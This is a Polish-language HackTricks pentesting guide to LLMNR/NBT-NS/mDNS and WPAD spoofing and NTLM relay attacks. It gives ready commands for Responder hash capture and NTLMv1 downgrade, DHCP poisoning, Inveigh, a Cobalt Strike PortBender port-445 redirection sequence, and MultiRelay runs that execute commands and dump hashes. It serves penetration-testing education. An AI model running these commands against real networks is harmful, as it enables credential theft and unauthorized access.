hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

9.7 KiB

Podróba LLMNR, NBT-NS, mDNS/DNS oraz ataki WPAD i przekazywanie

{% hint style="success" %} Dowiedz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks
{% endhint %}

Protokoły sieciowe

Protokoły rozwiązywania lokalnych nazw hostów

  • LLMNR, NBT-NS i mDNS:
  • Microsoft oraz inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawodzi. Podobnie systemy Apple i Linux używają mDNS.
  • Te protokoły są podatne na przechwycenie i podrobienie ze względu na swoją nieuwierzytelnioną, rozgłoszeniową naturę nad UDP.
  • Responder może być używany do podszywania się pod usługi poprzez wysyłanie sfałszowanych odpowiedzi do hostów zapytujących te protokoły.
  • Więcej informacji na temat podszywania się pod usługi za pomocą Responder można znaleźć tutaj.

Protokół automatycznego odkrywania serwera proxy (WPAD)

  • WPAD pozwala przeglądarkom automatycznie odkrywać ustawienia serwera proxy.
  • Odkrywanie jest ułatwione poprzez DHCP, DNS lub w razie awarii DNS, poprzez LLMNR i NBT-NS.
  • Responder może automatyzować ataki WPAD, kierując klientów do złośliwych serwerów WPAD.

Responder do zatrucia protokołów

  • Responder to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie kierując się w stronę usług SMB.
  • Jest preinstalowany w Kali Linux, konfigurowalny pod ścieżką /etc/responder/Responder.conf.
  • Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu /usr/share/responder/logs.
  • Obsługuje zarówno IPv4, jak i IPv6.
  • Windowsowa wersja Respondera jest dostępna tutaj.

Uruchamianie Respondera

  • Aby uruchomić Respondera z domyślnymi ustawieniami: responder -I <Interfejs>
  • Dla bardziej agresywnego sondowania (z potencjalnymi skutkami ubocznymi): responder -I <Interfejs> -P -r -v
  • Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: responder -I <Interfejs> --lm --disable-ess
  • Podszywanie się pod WPAD można aktywować za pomocą: responder -I <Interfejs> --wpad
  • Zapytania NetBIOS mogą być rozwiązane do IP atakującego, a proxy autoryzacji może być ustawione: responder.py -I <interfejs> -Pv

Zatrucie DHCP za pomocą Respondera

  • Podszywanie się pod odpowiedzi DHCP może trwale zatruć informacje o trasowaniu ofiary, oferując bardziej skrytą alternatywę dla podszywania ARP.
  • Wymaga precyzyjnej wiedzy o konfiguracji sieci docelowej.
  • Uruchomienie ataku: ./Responder.py -I eth0 -Pdv
  • Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego postępowania, aby uniknąć zakłóceń w sieci.

Przechwytywanie poświadczeń za pomocą Respondera

  • Responder będzie podszywał się pod usługi za pomocą wspomnianych powyżej protokołów, przechwytując poświadczenia (zwykle wyzwanie/odpowiedź NTLMv2), gdy użytkownik próbuje uwierzytelnić się wobec podszytych usług.
  • Można próbować zdegradować do NetNTLMv1 lub wyłączyć ESS dla ułatwienia łamania poświadczeń.

Należy pamiętać, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu.

Inveigh

Inveigh to narzędzie dla testerów penetracyjnych i zespołów czerwonych, przeznaczone dla systemów Windows. Oferuje funkcjonalności podobne do Responder, wykonując ataki podszywania i man-in-the-middle. Narzędzie ewoluowało z skryptu PowerShell do binarnej wersji C#, z Inveigh i InveighZero jako główne wersje. Szczegółowe parametry i instrukcje można znaleźć w wiki.

Inveigh można obsługiwać za pomocą PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Lub wykonany jako plik binarny C#:

Inveigh.exe

Atak przekazywania NTLM

Ten atak wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowego komputera, co umożliwia uzyskanie powłoki systemowej w przypadku powodzenia. Kluczowe wymagania to:

  • Uwierzytelniony użytkownik musi mieć dostęp do lokalnego administratora na hostingu przekazywanym.
  • Podpisywanie SMB powinno być wyłączone.

Przekierowywanie i tunelowanie portu 445

W przypadkach, gdy bezpośrednie wprowadzenie sieciowe nie jest wykonalne, ruch na porcie 445 musi być przekierowany i przepuszczony przez tunel. Narzędzia takie jak PortBender pomagają w przekierowywaniu ruchu portu 445 na inny port, co jest istotne, gdy dostęp do lokalnego administratora jest dostępny do ładowania sterownika.

Konfiguracja i działanie PortBender w Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Inne narzędzia do ataku przekazywania NTLM

  • Metasploit: Skonfiguruj z proxy, lokalnymi i zdalnymi szczegółami hosta.
  • smbrelayx: Skrypt Pythona do przekazywania sesji SMB i wykonywania poleceń lub implementowania tylnych drzwi.
  • MultiRelay: Narzędzie z pakietu Responder do przekazywania określonych użytkowników lub wszystkich użytkowników, wykonywania poleceń lub wyciągania haseł.

Każde narzędzie można skonfigurować do działania poprzez proxy SOCKS, jeśli jest to konieczne, umożliwiając ataki nawet przy pośrednim dostępie do sieci.

Działanie MultiRelay

MultiRelay jest uruchamiany z katalogu /usr/share/responder/tools, docelowo określając konkretne adresy IP lub użytkowników.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Wymuszaj logowania NTLM

W systemie Windows możesz być w stanie zmusić niektóre uprzywilejowane konta do uwierzytelniania się na dowolnych maszynach. Przeczytaj następującą stronę, aby dowiedzieć się jak:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Odnośniki

{% hint style="success" %} Dowiedz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}